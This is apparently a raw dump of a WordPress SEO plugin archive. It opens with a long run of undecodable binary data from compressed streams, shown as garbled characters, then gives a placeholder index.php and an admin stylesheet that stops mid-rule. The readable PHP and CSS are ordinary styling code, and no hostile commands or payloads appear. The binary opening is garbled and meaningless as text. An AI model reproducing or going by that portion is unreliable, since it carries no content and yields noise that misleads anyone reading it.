NﮂËþE÷'L÷wº÷·þÀ>ÜýœýÉþ•>‡‰]§¯m›#- ïÿ‘¼k§Í)L[ Ò‘'yxM»ÝÙX?¿XkV—.ý„ÿ¯“ÿpêÝç®ìÓQ@™”#âžÀ³ûÂ{¤ÓBÅãíÁµsóÓäRr9±È­Ëhý†—Dœ£AcUÖLV”Õš¥*¦ª“ºZ i Ô ªH-QPÁÞÁàäö�©»”³´<·:¯éP‡Þt‰Æ>¢ù„© +q$¾«ím³6§Ïh— "ÖÅZ®˜­&Œ`<—öŒOÓØGh¨tÂ( †Ý*,×ëŇ7î½Þî˯ê«ÚEõ¢2‹ȉ٘y¦yº<¤£Cùo±/úc\JMÄeL½õ—HÒúÒÊ×^Û¿è^Ø ¼ÐÊšÔïYF ¡æáèåé¥ÁëçÆò«Ò"Y&QUS5uµe¡ï/¾Uþ>[ò¼°Î.eWâK "ÃIìÁIaŠ;›Š ‰ƒGOyâÙPš•Wc4lª–¾X»²VooÞ\ùqí_Í‹¤€K¸*Z¹‚ ±º  ‚"¨#Õ³¥q=¤eH�Ã9|FÊœ †sœÀsHädâRÒÆ˜éÖCyßâŸ\Ûûl53—Ô"düCz)а,ãúòÅ;3?Ô›jKU:¤B‚‰jF›*Oå}*ÖÏ C‰ŒÈŠ¡l$‹{�Éê9‡Z¯,Ô­H'‰t±Ìk22*ŒD-D%¡ÍÅÓKÁÙëbK®“&-2EÑTMUÊ&º0³‘ÿ.ž²\“f…¾™md ÆÁ9)&úY_&ˆ"CÓc“á,Ÿb‰Eæw·ï´yš9žÖÉ“ù™ZuuyîvéÆš\Næ3æ„Ó¿c–â(Ì…²/Òê!i`•¸¯?½þÒ¤N3%¾ ¹Þ»põÝúhmí5¬HʉvR?WÑÇ¥QÉφQ «ŸTR¥¿Z?xu¤š6Ä‹ÚÍ¡—“iÕ2'ÛéŠwÉÿZö¦XÃy˜…Ê$Z¾°Z9o|¿üwÃÚš˜ãpŽŸHŽŒ ž îÓa¦‘É+”w ‚•-‹†¤ÓÚWMœ4I“Öf¬ž5‘ RXR†Š-¬‰%ÑJ.Óÿ®ÀÉ­üÜìz &¯ §šÚyµ­n`šrp:ã“"–Í,ʧÇCQz’áÉ‘‚׈ÖÇK‘ÖD-ÖÊ »•azCI–Œ–¾`–4E%DÖdU4(9 éeÝB7ôж 6àšTg_ mŽ­Åké‚H}Ìñ‹N]Šdp:_J”¢2–± &˼Ákº¿òíê_FŽ ôHÜ—¦L/(¢Âi4­dY’’sR•i–žÒ˜ â]e%¿Y¸ØZY¹}{æ:ü®‰­äÒàÏŸ»õûÖãÙÈ }óÈèò¼X9³~j&XM´ã+þØœ„>\c†Å U#j\—TIÑåT:ÿŸPštµŽÉܸ„2öLFàä$’DZ \…ÂÛ‚e½Ülµše}– *Ô’¨µÎ ~<˜L¡î‰&ÎEx™ú/©²Æ[ÜEzUK_Ó«jhÙæáF´Â!M"œF'ûí™f0%J xð”'«4{àƒ²îjÖËyb*KKÜ£zIg…€XFÝ/Øq&9vNàì¬+±Á7U­TùPYI2Ár |„‹R°žû{æ6¶w’EåïTÚ´ÍZ±T×;ú¼²wá2^Ò¼dqUÄ•¹<íź@Š[{t…§qÎJ^9+¥ÙŸK Ć¥i|¿B´qÕ_[ƒ¯²¹)^’îatÃ~Œ f\”)ì=½^Xaï?¥éCÃøÂØQ/uˆÿ1“Ç-Z¦ëÚre¡m岑¯6­¶ÑÉ/À ·püÖÁËÊãÙÃáS›:$õºc”RšH8ÝcM7|&¥ø‹ƒ«© ²÷ØÏ3Ó]ë–mõw?×]gt¬S²B¥m×ÕïU6ç7æ—Öš—²jh•Ö[â{“o¦æãP+Ô W¼eä+M¯ÆÑˆLÒ!ùáØ˜?’G’‘)wl@8‰p&IZ,´G«¾¶¿ÝôÜŠÜ”ÑêE†æ‰Gõ™¾òþÕÓØä_¯¼¾ô=«ZoT¬õÅËõ«*²È,ä a-µº6¶|ÜzYI’,Ä!,'„ïKO'C( ‡ÂÉ4ͦ„0âC4áÿ¹ïiûÏúí?¶ŸqÙ}¶ëÖµT¨é5¨ÁŒTÉ4ø²g%•czÂÁþ$ùýßþ½Ï£î¾î>—½ÿo˜c‡ú·)ÍGÚC%+#¸ ÷_×µ¥ÈK»í 6ÏðœËÉr¸nzƒ®¤Qñ¦k–Q#m¡C³£œF…l!iøŒÊB_·ðv¿Òti—Jëͥ΅å¹K5Mà´`5²À/ˆ² U­«›ë¯èŽñ†»ò²š¯”ä|±éP帙œëRäüds¸:‘ŸRGI>�Ø*ü²�®¶ºõ<sW¹ã]?uéXþùéãLJ^ʤäœ%,<9h½z%/+Wë›í›×.½^©¨–Rd÷?Ç<xà ¿ãJ•ÓÍ`96‡bñ˃®ÙàL„¦ÇÏ~öÓŸŠz¼æê:í§˜nJ þŸï˜{¦óø×`3Á`†=>übøúEó©·Ï}€Ø¡!µå l*•â{îß¹òêú½ú=ùÏ2¯HÇÃC‰D6™zO°‡k¯´þüþ·F:|Ï’wô»+7Q­mµÍ9³­Ô i†oyßß÷ÖêÎÏÞd쯀ýE ö/€» Ýot/SŠwQ )˘(»¨4T(·Yž†y—´©n£“žì¤o¥÷EèIF‚(O+»‰jèö›Ý*€ä’(»r½v-ö$¤ ˆ¶f¹7Û-Š.¹7Ìæ°L[×Ý» º_S±K¥’°ÔÚY$È=aKï…{þPÑ Ï%À0¨„%QçAǨó“²ÃsÝp?Õ™Þe@Í[–eÞZÝ|³ñ#½­µ•9eŽT{w«ft4Qž(xµ}XøN¬'2™P†ò ¦¼ê&9ó@ûðÚ43=žKb…6 dT%2HÌYˆ6½«þ[™›â¬<mÒº¢ijÅD+ùkÐÀ\;B“oeZºî8„pVŒŠ¾œ7@á3“#žP–K²<ÍžÈØ*| [©†m•ÛéÃà§{—ã èÄÐfŠó-«2·Ò¼^¼­Íò¸ ™T³ÒV-"ÑŽ`1`F´$•±IÈ‚€yZ ÓìD*Í‹T£AdN é~5¥'êÇάŠ\-§úÄÿŸ [á�xœc```d�‚3¶‹Îƒèk^ö)0�F��xœc`d``àb `b`B> fó�ä�A���xœc`fb`œÀÀÊÀÁèØÆÀÀॿ2H2´0001°r2À�#HsMap`Hd¨b|ðÿƒ’Ƨ@BÚ’ ˆ�xœµ» €0 D_Bȇ_MÁTl@G…D‡˜‡=ƒqDOÃYÖùì³ T”œ0<ØDÕŽY¸!b%`açÌY] +ÇSçKuÙõŒzͤée»¥#É­A¦ÿZD]¨²Áľi»T´üߟ?áb >���xœc`d``�â[§ý‹ç·ùÊÀÍÄ�×¼ìSi&°8„�;áà���xœc`d``b�=0 b32 &�Ð�9xœcb```b`à`0a`dbÈrÀ—!�ˆo��P����xœuŽ1NÃ0†¿´iQBLˆÑ K"'z€€¡{+ŠTÅÈi¥ž„‰#0r À8Â[jÉöçOÿ{ÏÀ odL+ãŠ;ã…øÉxÉ#gã\þÃxÅ5_Ækù%³|#s;WM¼?/iðƹü»ñŠ{>×òß´ôDF‚ÎWhû8†(x‘é8qP"éºÓ¡4Ê ç;)pÔ”šæØiÿï÷ç¶TJÚ^ô¬6q861uÁÕ¥w;gsEÛ¢ª‹ÚW ]úÛ^&É÷ó_œ:NóÙ‡4öqpUé/ÖþóW9µ�xœc`f@Œ h���Ž�PK������+—[ì§àå$���$���,��all-in-one-seo-pack/css/font-icons/index.phpnu�„[µü¤��������<?php /** * Silence is golden. */ PK������+—[mÞFƒŠ��Š��2��all-in-one-seo-pack/css/modules/aioseop_module.cssnu�„[µü¤��������/** * Controls all the styling of the plugin. * * @author Michael Torbert. * @author Semper Fi Web Design. * @copyright http://semperplugins.com * @package All-in-One-SEO-Pack. */ [class*="all-in-one-seo-pack"] #wpbody-content, .all-in-one-seo_page_aiosp_opengraph #wpbody-content { min-width: 900px; } .form-table.aioseop { clear: none; } .form-table.aioseop td { vertical-align: top; padding: 16px 0 10px 0; line-height: 20px; font-size: 12px; } .form-table.aioseop th { width: 200px; padding: 10px 0 12px 9px; } .aioseop_help_text_link, .aioseop_help_text_link:active { text-align: left; float: left; max-width: 30px; min-width: 20px; padding-top: 2px; outline: none; color: #888; font-family: sans-serif; line-height: 1.4em; } .aioseop_help_text_link span { font-size: 14px; } .aioseop_help_text_link:before { content: "\f223"; font-size: 22px; font-family: dashicons; vertical-align: middle; margin-right: 4px; } #aioseop-support .aioseop_metabox_text, #aioseop-support a { font-size: 14px; color: #000; text-decoration: none; } .aioseop_meta_box_help > label { position: absolute; margin-left: 8px; } .aioseop_help_text_link img { width: 40px; float: left; } .aioseop_meta_box_help, .aioseop_meta_box_help:active { float: right; text-align: right; min-width: 56px; max-width: 90px; text-decoration: none; height: 15px; padding-top: 1px; position: relative; } .aioseop_meta_box_help span { vertical-align: middle; } .aioseop_tabs .aioseop_meta_box_help, .aioseop_tabs .aioseop_meta_box_help:active { margin-top: 10px; } .aioseop_tabs #aioseop_opengraph_settings .aioseop_meta_box_help, .aioseop_tabs #aioseop_opengraph_settings .aioseop_meta_box_help:active { margin-bottom: 20px; } .aioseop_label { color: #5F5F5F; font-weight: 600; line-height: 19px; display: inline-block; float: left; text-align: left; font-family: -apple-system, BlinkMacSystemFont, Segoe UI, Roboto, Oxygen-Sans, Ubuntu, Cantarell, Helvetica Neue, sans-serif; padding: 2px 0; width: 81%; min-width: 120px; max-width: 250px; cursor: default; font-size: 13.5px; } .aioseop_option_div { max-height: 360px; min-height: 37px; width: 95%; overflow-y: auto; } .aioseop_overflowed { border: 1px solid #e1e1e1; } .aioseop input[type="text"], .aioseop input[type="url"] { color: #515151; min-height: 35px; padding: 10px; font-size: 14px; width: 95%; max-width: 600px; } .aioseop textarea { color: #515151; padding: 10px; margin: 1px; font-size: 14px; line-height: 25px; width: 95%; max-width: 600px; min-height: 36px; } .aioseop input, .aioseop textarea { border-radius: 4px; border: 1px solid #8d96a0; margin: 1px; font-family: -apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif !important; } .aioseop input:focus, .aioseop textarea:focus { box-shadow: 0 0 0 1px #007cba; } .aioseop textarea::-webkit-scrollbar { width: 12px; } .aioseop textarea::-webkit-scrollbar-track { background: #f1f1f1; } .aioseop textarea::-webkit-scrollbar-thumb { background: #aeaeae; } .aioseop textarea::-webkit-scrollbar-thumb:hover { background: #888; } .aioseop_help_text_div { text-align: left; width: 100%; margin: 0; } .aioseop_help_text { font-size: 12px; float: left; clear: left; color: #797979; line-height: 15px; font-style: italic; } .aioseop_head_tagline { color: #5F5F5F; font-size: 13px; } .aioseop_head_nav { float: left; font-size: 18px; margin: 0 0 16px 0; font-family: "HelveticaNeue-Light", "Helvetica Neue Light", "Helvetica Neue", sans-serif; width: 100%; margin: 8px 0 0 0; } .aioseop_head_nav_tab { padding: 10px 15px 10px 15px; margin: 0 0 0 15px; background-color: #fff; border-radius: 4px 4px 0 0; border: 1px solid #CCC; border-bottom: 0 white; float: left; color: black; font-weight: bold; text-shadow: white 0 1px 0; text-decoration: none; } .aioseop_head_nav_tab.aioseop_head_nav_active { opacity: 1; margin-bottom: -1px; border-width: 1px; } .aioseop_head_nav_tab:first-child { margin-left: 0; } .aioseop_head_nav_tab:hover { opacity: 1; } .aioseop_header { float: left; clear: left; } .aioseop_advert { padding: 10px; margin-bottom: 30px; border: 1px solid #DDD; height: 200px; width: 423px; } .aioseop_nopad { padding-left: 0; padding-top: 0; } .aioseop_nopad_all { padding: 0; height: 220px; width: 445px; margin-bottom: 20px; border: none; } .aioseop_adverts { float: right; } .wincherad { width: 100%; height: 100%; background-size: 100%; background-repeat: no-repeat; margin-bottom: 0; border: none; } #wincher21 { background-image: url(../../modules/images/banner21.jpg); } #wincher22 { background-image: url(../../modules/images/banner22.jpg); } .aioseop_content { min-width: 760px; clear: left; } .aioseop_options_wrapper .hndle { font-size: 15px; font-family: Georgia, "Times New Roman", "Bitstream Charter", Times, serif; font-weight: normal; min-height: 18px; padding: 7px 10px; margin: 0; line-height: 1; } .aioseop_options_wrapper .submit input.button-primary { margin-bottom: 5px; } #aiosp_feature_manager_metabox.postbox { margin-top: 20px; float: left; } .aioseop_advert p { margin: 25px 0 25px 0; } .aioseop_options_wrapper .postarea { border-color: #DFDFDF; -moz-box-shadow: inset 0 1px 0 #fff; -webkit-box-shadow: inset 0 1px 0 #fff; box-shadow: inset 0 1px 0 #fff; -moz-border-radius: 3px; -webkit-border-radius: 3px; border-radius: 3px; } .aioseop_advert h3 { padding: 0; margin-top: 6px; } .aioseop_metabox_text p { margin: 0 0 0 0; width: 101%; } .aioseop_sidebar { width: 457px; margin-left: 10px; } .aioseop_metabox_text { margin-bottom: 0; } .aioseop_metabox_wrapper { padding: 0; } .aioseop_metabox_text *:last-child { margin: 0; } .aioseop_metabox_feature { margin-top: 20px; } .aioseop_translations { margin-top: 15px; } .aioseop_option_label { float: left; margin: 0; padding-top: 3px; padding-bottom: 3px; width: 37%; min-width: 150px; max-width: 360px; min-height: 30px; } .aioseop_metabox_text h2 { font-size: 30px; padding: 0; font-weight: bold; line-height: 29px; } #aioseop-about { width: 443px; margin-bottom: 20px; } #aioseop-about .aioseop_metabox_text #mc-embedded-subscribe-form h2 { font-size: 13px; } .aioseop_sidebar #mc-embedded-subscribe-form { margin: 0 0 10px 0; background: white; padding: 10px 10px; border: 1px solid #DDD; } #aioseop-about .aioseop_metabox_text ul { list-style-type: disc; padding-left: 15px; } .aioseop input[readonly] { background-color: #EEE; margin: 5px 1px 5px 1px !important; } .aioseop_settings_left { float: left; padding: 0; margin: 0; width: 100%; } body.all-in-one-seo_page_all-in-one-seo-pack-aioseop_feature_manager .aioseop_settings_left { margin-top: 20px; } body.all-in-one-seo_page_all-in-one-seo-pack-pro-aioseop_feature_manager .aioseop_settings_left { margin-top: 20px; } #aioseop_top_button { margin-top: 5px; height: 30px; } #aioseop-list #mce-EMAIL { margin-top: 5px; width: 250px; } .aioseop_top { margin: 10px 10px 0 0; /* margin: 10px 477px 0px 0px; */ } .aioseop_top #aioseop-list { margin-bottom: 0; } .aioseop_top #aioseop-list.postbox.closed { overflow: hidden; } .aioseop_right_sidebar { float: right; margin-top: 55px; } #aiosp_settings_form .button-primary.hidden { display: none; } form#edittag div#aiosp_titleatr_wrapper, form#edittag div#aiosp_menulabel_wrapper, form#edittag div#aiosp_sitemap_exclude_wrapper { display: none; } .All_in_One_SEO_Pack_Feature_Manager > #aiosp_settings_form > #aioseop_top_button { height: 5px; position: absolute; top: 0; width: 97%; } .All_in_One_SEO_Pack_Feature_Manager > #aiosp_settings_form > .aioseop_settings_left { margin-top: 10px; } .All_in_One_SEO_Pack_Feature_Manager > .aioseop_right_sidebar.aioseop_options_wrapper { margin-top: 30px; } div#aiosp_feature_manager_metabox .inside { padding: 8px; } div.aioseop_feature { position: relative; display: inline-block; float: left; vertical-align: top; width: 240px; height: 288px; margin: 8px; border: 1px solid #DEDEDE; -moz-border-radius: 3px; -webkit-border-radius: 3px; border-radius: 3px; background: white; padding: 10px 0; -webkit-box-shadow: inset 0 1px 0 #fff, inset 0 0 20px rgba(0, 0, 0, 0.05), 0 1px 2px rgba(0, 0, 0, 0.1); -moz-box-shadow: inset 0 1px 0 #fff, inset 0 0 20px rgba(0, 0, 0, 0.05), 0 1px 2px rgba(0, 0, 0, 0.1); box-shadow: inset 0 1px 0 #fff, inset 0 0 20px rgba(0, 0, 0, 0.05), 0 1px 2px rgba(0, 0, 0, 0.1); -webkit-transition-duration: .4s; -moz-transition-duration: .4s; } .aioseop_feature .flag { float: right; margin-right: -7px; background: none repeat scroll 0 0 #D23D46; color: #FFFFFF; padding: 5px 12px 6px 5px; position: relative; } .aioseop_feature .flag:before { border-color: #D23D46 #D23D46 #D23D46 transparent; border-style: solid; border-width: 14px 4px 15px 10px; content: ""; left: -14px; position: absolute; top: 0; } .aioseop_feature .flag:after { border-color: #892026 transparent transparent; border-style: solid; border-width: 6px 6px 6px 0; bottom: -12px; content: ""; position: absolute; right: 0; } .aioseop_feature .flag.pro { display: none; } #aioseop_coming_soon .free.flag, .all-in-one-seo_page_all-in-one-seo-pack-pro-modules-aioseop_feature_manager .aioseop_feature .free.flag { display: none; } #aioseop_coming_soon .flag.pro { display: block; margin-top: -30px; } .all-in-one-seo_page_all-in-one-seo-pack-pro-modules-aioseop_feature_manager #aioseop_coming_soon .flag.pro { display: none; } .aioseop_feature h3 { font-size: 17px; margin: 0; padding: 0 10px 5px 10px; font-weight: normal; font-style: normal; font-family: "Helvetica Neue", Helvetica, Arial, "Lucida Grande", Verdana, "Bitstream Vera Sans", sans-serif; } .aioseop_feature p { line-height: 150%; font-size: 12px; font-family: Georgia, "Times New Roman", "Bitstream Charter", Times, serif; margin-bottom: 20px; color: #666; padding: 0 10px; } .aioseop_feature p.aioseop_desc { min-height: 80px; } .aioseop_feature .feature_button { float: right; display: inline-block; position: relative; margin: 0 10px 10px 0; min-width: 80px; text-align: center; } .aioseop_feature .feature_button:before { content: "Activate"; } .aioseop_feature .active.feature_button:before { content: "Deactivate"; } div.aioseop_feature .aioseop_featured_image { min-height: 100px; background-repeat: no-repeat; display: block; margin: 0 auto; width: 133px; } div.aioseop_feature .aioseop_featured_image { background-image: url(../../modules/images/Default-BW-Standard.png); } div.aioseop_feature .aioseop_featured_image.active { background-image: url(../../modules/images/Default-Color-Standard.png); } div.aioseop_feature#aioseop_sitemap .aioseop_featured_image { background-image: url(../../modules/images/XMLSitemaps-BW-Standard.png); } div.aioseop_feature#aioseop_sitemap .aioseop_featured_image.active { background-image: url(../../modules/images/XMLSitemaps-Color-Standard.png); } div.aioseop_feature#aioseop_video_sitemap .aioseop_featured_image { background-image: url(../../modules/images/VideoSitemap-BW-Standard.png); } div.aioseop_feature#aioseop_video_sitemap .aioseop_featured_image.active { background-image: url(../../modules/images/VideoSitemap-Color-Standard.png); } div.aioseop_feature#aioseop_opengraph .aioseop_featured_image { background-image: url(../../modules/images/SocialMeta-BW-Standard.png); } div.aioseop_feature#aioseop_opengraph .aioseop_featured_image.active { background-image: url(../../modules/images/SocialMeta-Color-Standard.png); } div.aioseop_feature#aioseop_robots .aioseop_featured_image, div.aioseop_feature#aioseop_bad_robots .aioseop_featured_image { background-image: url(../../modules/images/Robots-BW-Standard.png); } div.aioseop_feature#aioseop_robots .aioseop_featured_image.active, div.aioseop_feature#aioseop_bad_robots .aioseop_featured_image.active { background-image: url(../../modules/images/Robots-Color-Standard.png); } div.aioseop_feature#aioseop_file_editor .aioseop_featured_image { background-image: url(../../modules/images/FileEditor-BW-Standard.png); } div.aioseop_feature#aioseop_file_editor .aioseop_featured_image.active { background-image: url(../../modules/images/FileEditor-Color-Standard.png); } div.aioseop_feature#aioseop_importer_exporter .aioseop_featured_image { background-image: url(../../modules/images/ImporterExporter-BW-Standard.png); } div.aioseop_feature#aioseop_importer_exporter .aioseop_featured_image.active { background-image: url(../../modules/images/ImporterExporter-Color-Standard.png); } div.aioseop_feature#aioseop_performance .aioseop_featured_image { background-image: url(../../modules/images/Performance-BW-Standard.png); } div.aioseop_feature#aioseop_performance .aioseop_featured_image.active { background-image: url(../../modules/images/Performance-Color-Standard.png); } div.aioseop_feature#aioseop_coming_soon .aioseop_featured_image { background-image: url(../../modules/images/Default-Color-Standard.png); } div.aioseop_feature#aioseop_coming_soon2 .aioseop_featured_image { background-image: url(../../modules/images/Default-Color-Standard.png); } .All_in_One_SEO_Pack_Sitemap > form > .wrap > .form-table, .All_in_One_SEO_Pack_Video_Sitemap > form > .wrap > .form-table { max-width: 500px; clear: none; } .aioseop_follow_button { min-height: 50px; background-repeat: no-repeat; display: inline-block; width: 100px; background-size: auto 50px !important; margin-right: 0; } .aioseop_facebook_follow { background-image: url(../../modules/images/facebook-follow-standard.png); } .aioseop_twitter_follow { background-image: url(../../modules/images/twitter-follow-standard.png); } @media only screen and (-webkit-min-device-pixel-ratio: 1.5), only screen and ( min--moz-device-pixel-ratio: 1.5), only screen and ( -o-min-device-pixel-ratio: 3/2), only screen and ( min-device-pixel-ratio: 1.5), only screen and ( min-resolution: 1.5dppx) { div.aioseop_feature .aioseop_featured_image { background-size: auto 100px !important; } div.aioseop_feature .aioseop_featured_image.active { background-image: url(../../modules/images/Default-Color-Retina.png); } div.aioseop_feature .aioseop_featured_image { background-image: url(../../modules/images/Default-BW-Retina.png); } div.aioseop_feature#aioseop_sitemap .aioseop_featured_image { background-image: url(../../modules/images/XMLSitemaps-BW-Retina.png); } div.aioseop_feature#aioseop_sitemap .aioseop_featured_image.active { background-image: url(../../modules/images/XMLSitemaps-Color-Retina.png); } div.aioseop_feature#aioseop_video_sitemap .aioseop_featured_image { background-image: url(../../modules/images/VideoSitemap-BW-Retina.png); } div.aioseop_feature#aioseop_video_sitemap .aioseop_featured_image.active { background-image: url(../../modules/images/VideoSitemap-Color-Retina.png); } div.aioseop_feature#aioseop_opengraph .aioseop_featured_image { background-image: url(../../modules/images/SocialMeta-BW-Retina.png); } div.aioseop_feature#aioseop_opengraph .aioseop_featured_image.active { background-image: url(../../modules/images/SocialMeta-Color-Retina.png); } div.aioseop_feature#aioseop_robots .aioseop_featured_image, div.aioseop_feature#aioseop_bad_robots .aioseop_featured_image { background-image: url(../../modules/images/Robots-BW-Retina.png); } div.aioseop_feature#aioseop_robots .aioseop_featured_image.active, div.aioseop_feature#aioseop_bad_robots .aioseop_featured_image.active { background-image: url(../../modules/images/Robots-Color-Retina.png); } div.aioseop_feature#aioseop_file_editor .aioseop_featured_image { background-image: url(../../modules/images/FileEditor-BW-Retina.png); } div.aioseop_feature#aioseop_file_editor .aioseop_featured_image.active { background-image: url(../../modules/images/FileEditor-Color-Retina.png); } div.aioseop_feature#aioseop_importer_exporter .aioseop_featured_image { background-image: url(../../modules/images/ImporterExporter-BW-Retina.png); } div.aioseop_feature#aioseop_importer_exporter .aioseop_featured_image.active { background-image: url(../../modules/images/ImporterExporter-Color-Retina.png); } div.aioseop_feature#aioseop_performance .aioseop_featured_image { background-image: url(../../modules/images/Performance-BW-Retina.png); } div.aioseop_feature#aioseop_performance .aioseop_featured_image.active { background-image: url(../../modules/images/Performance-Color-Retina.png); } div.aioseop_feature#aioseop_coming_soon .aioseop_featured_image { background-image: url(../../modules/images/Default-BW-Retina.png); } div.aioseop_feature#aioseop_coming_soon2 .aioseop_featured_image { background-image: url(../../modules/images/Default-BW-Retina.png); } .aioseop_facebook_follow { background-image: url(../../modules/images/facebook-follow-retina.png); } .aioseop_twitter_follow { background-image: url(../../modules/images/twitter-follow-retina.png); } } .aioseop_options { width: 100%; margin: 18px 0 10px 0; } .aioseop_wrapper { width: 100%; padding-left: 5px; } .aioseop_input { clear: left; width: 98%; padding: 5px 1%; display: inline-block; } .aioseop_option_input { float: left; width: 61%; margin: 0; padding-left: 1px; min-width: 160px; /* max-width: 900px; */ } /*** Sitemap Additional Pages section ***/ #aiosp_sitemap_addl_pages_metabox .aioseop_options, #aiosp_video_sitemap_addl_pages_metabox .aioseop_options { width: 97%; margin: 5px; } #aiosp_sitemap_addl_pages_metabox .aioseop_wrapper#aiosp_sitemap_addl_instructions_wrapper, #aiosp_video_sitemap_addl_pages_metabox .aioseop_wrapper#aiosp_video_sitemap_addl_instructions_wrapper { display: block; width: 100%; float: none; margin: 0; } #aiosp_sitemap_addl_pages_metabox .aioseop_wrapper#aiosp_sitemap_addl_instructions_wrapper .aioseop_input, #aiosp_video_sitemap_addl_pages_metabox .aioseop_wrapper#aiosp_video_sitemap_addl_instructions_wrapper .aioseop_input { display: block; width: 100%; } #aiosp_sitemap_addl_pages_metabox .aioseop_wrapper, #aiosp_video_sitemap_addl_pages_metabox .aioseop_wrapper { padding: 0; } #aiosp_sitemap_addl_pages_metabox .aioseop_wrapper .aioseop_top_label, #aiosp_video_sitemap_addl_pages_metabox .aioseop_wrapper .aioseop_top_label { width: 70%; margin: 0; } #aiosp_sitemap_addl_pages_metabox .aioseop_wrapper .aioseop_option_label, #aiosp_video_sitemap_addl_pages_metabox .aioseop_wrapper .aioseop_option_label { height: 30px !important; } #aiosp_sitemap_addl_pages_metabox .aioseop_wrapper#aiosp_sitemap_addl_mod_wrapper input.aiseop-date, #aiosp_video_sitemap_addl_pages_metabox .aioseop_wrapper#aiosp_video_sitemap_addl_mod_wrapper input.aiseop-date { height: 36px; } #aiosp_sitemap_addl_pages_metabox .aioseop_options .aioseop_submit_type, #aiosp_video_sitemap_addl_pages_metabox .aioseop_options .aioseop_submit_type { margin: 0; } #aiosp_sitemap_addl_pages_metabox .aioseop_options .aioseop_submit_type input.button-primary, #aiosp_video_sitemap_addl_pages_metabox .aioseop_options .aioseop_submit_type input.button-primary { margin-left: 0 !important; } #aiosp_sitemap_addl_pages_metabox .aioseop_help_text_div, #aiosp_video_sitemap_addl_pages_metabox .aioseop_help_text_div { position: absolute; width: auto; margin: 5px 0 10px 0; } #aiosp_sitemap_addl_pages_metabox table.aioseop_table, #aiosp_video_sitemap_addl_pages_metabox table.aioseop_table { width: 96%; border: 1px solid #CCC; margin: 5px 5px 10px; } /*** Sitemap Exclude Items section ***/ .selectize-control.aioseop-exclude-terms { position: static; width: 95%; max-width: 600px; } .selectize-input { padding: 10px 0 10px 10px !important; border: 1px solid #8d96a0 !important; } table.aioseop_table tr:nth-child(odd) { background-color: #EEE; } .All_in_One_SEO_Pack_Opengraph table.aioseop_table tr:nth-child(odd) { background-color: rgba(238, 238, 238, 0.5); } table.aioseop_table td { width: 23%; } .All_in_One_SEO_Pack_Opengraph table.aioseop_table { width: 80%; max-width: 800px; display: block; border-top: 1px solid #dfdfdf; border-left: 1px solid #dfdfdf; } .All_in_One_SEO_Pack_Opengraph table.aioseop_table th { width: 18%; border-right: 1px solid #dfdfdf; border-bottom: 1px solid #dfdfdf; } .All_in_One_SEO_Pack_Opengraph div.aioseop_meta_info { margin-top: 10px; border: 1px solid #dfdfdf; width: 80%; max-width: 800px; } .All_in_One_SEO_Pack_Opengraph table.aioseop_table tr.aioseop_table_header th { background: #f1f1f1; background-image: -webkit-gradient(linear, left bottom, left top, from(#ececec), to(#f9f9f9)); background-image: -webkit-linear-gradient(bottom, #ececec, #f9f9f9); background-image: -moz-linear-gradient(bottom, #ececec, #f9f9f9); background-image: -o-linear-gradient(bottom, #ececec, #f9f9f9); background-image: linear-gradient(to top, #ececec, #f9f9f9); padding: 5px; border-bottom-color: #dfdfdf; text-shadow: #fff 0 1px 0; -webkit-box-shadow: 0 1px 0 #fff; -moz-box-shadow: 0 1px 0 #fff; box-shadow: 0 1px 0 #fff; } .All_in_One_SEO_Pack_Opengraph table.aioseop_table td { border-right: 1px solid #dfdfdf; border-bottom: 1px solid #dfdfdf; } #aioseop_opengraph_settings_facebook_debug_result li.aioseop_opengraph_settings_facebook_debug_item { display: inline-block; width: 30%; vertical-align: top; } #aioseop_opengraph_settings_facebook_debug_result li.aioseop_opengraph_settings_facebook_debug_item:nth-child(even) { font-weight: bold; } #aioseop_opengraph_settings_facebook_debug_result li.aioseop_opengraph_settings_facebook_debug_item:nth-child(odd) { width: 70%; } #aiosp_sitemap_addl_pages_metabox table.aioseop_table td, #aiosp_video_sitemap_addl_pages_metabox table.aioseop_table td { width: auto; max-width: 50%; padding-left: 2%; padding-right: 2%; } table.aioseop_table td, table.aioseop_table th { padding: 3px; } .aioseop_top_label .aioseop_option_input, .aioseop_no_label .aioseop_option_input { width: 100%; } #aiosp_settings_form .postbox { margin: 20px 0 0 0; } .aioseop_settings_left .postbox { float: left; width: 100%; } .aioseop_option_setting_label { min-height: 35px; display: inline-block; white-space: nowrap; overflow: hidden; padding-left: 1px; max-width: 229px; min-width: 160px; width: 33%; } .aioseop_settings_left .postbox .inside { padding: 0; margin: 0; clear: right; } #aiosp_robots_rules { clear: left; margin-left: 20px; max-width: 1072px; } #aiosp_robots_default_metabox .aioseop_wrapper { width: 31%; min-width: 165px; display: inline-block; max-width: 265px; } #aiosp_robots_default_metabox .aioseop_help_text_div { position: absolute; margin: 5px 0 10px 0; } #aiosp_robots_default_metabox .aioseop_option_input { width: 94%; min-width: 94%; } #aiosp_robots_default_metabox table.aioseop_table { width: 96%; border: 1px solid #CCC; margin: 5px 0 10px 0; } #aiosp_robots_default_metabox table.aioseop_table td { width: auto; max-width: 50%; padding-left: 2%; padding-right: 2%; } #aiosp_robots_default_metabox table.aioseop_table td:first-child { white-space: nowrap; } .aioseop.aioseop_options.aiosp_robots_settings h3 { margin: 1.5em 0.6em 0.3em; } #aiosp_settings_form .aioseop_no_label, .aioseop_no_label { float: left; width: 92%; max-width: 100%; } #aiosp_sitemap_status_metabox .handlediv.button-link { display: none; } #aiosp_sitemap_status_metabox.closed .inside { display: block; } .aioseop_top_label { width: 96%; margin: 0 10px; } .aioseop_hidden_type { margin: 0; padding: 0; height: 0; } #aiosp_title_metabox #aiosp_force_rewrites_wrapper { display: none; height: 0; } .aioseop_module.error.below-h2 { padding: 5px 0; margin: 0 477px 15px 0 !important; } #aioseop_opengraph_settings .inside { margin: 0; } #aioseop_opengraph_settings_image_wrapper img { width: auto; height: 75px; } #aioseop_opengraph_settings_image_wrapper .aioseop_option_setting_label { max-width: 160px; min-width: 100px; width: 30%; } .aioseop_input input[type="checkbox"], .aioseop_input input[type="radio"] { border: 1.25px solid #6c7781; vertical-align: text-bottom; margin-top: 8px; } .aioseop_input input[type="checkbox"]:before { margin: -3px 0 0 -5px; color: white; } .aioseop_input input[type="radio"] { border-radius: 8px; } .aioseop_input input[type="radio"]:before { content: none !important; } .aioseop_input input[type="radio"]:checked, .aioseop_input input[type="checkbox"]:checked { background: #11a0d2; } #aiosp_importer_exporter_import_export_help_wrapper .aioseop_option_div { max-height: initial; } #aiosp { width: auto; } .aioseop_input.aioseop_top_label .aioseop_option_input { margin: 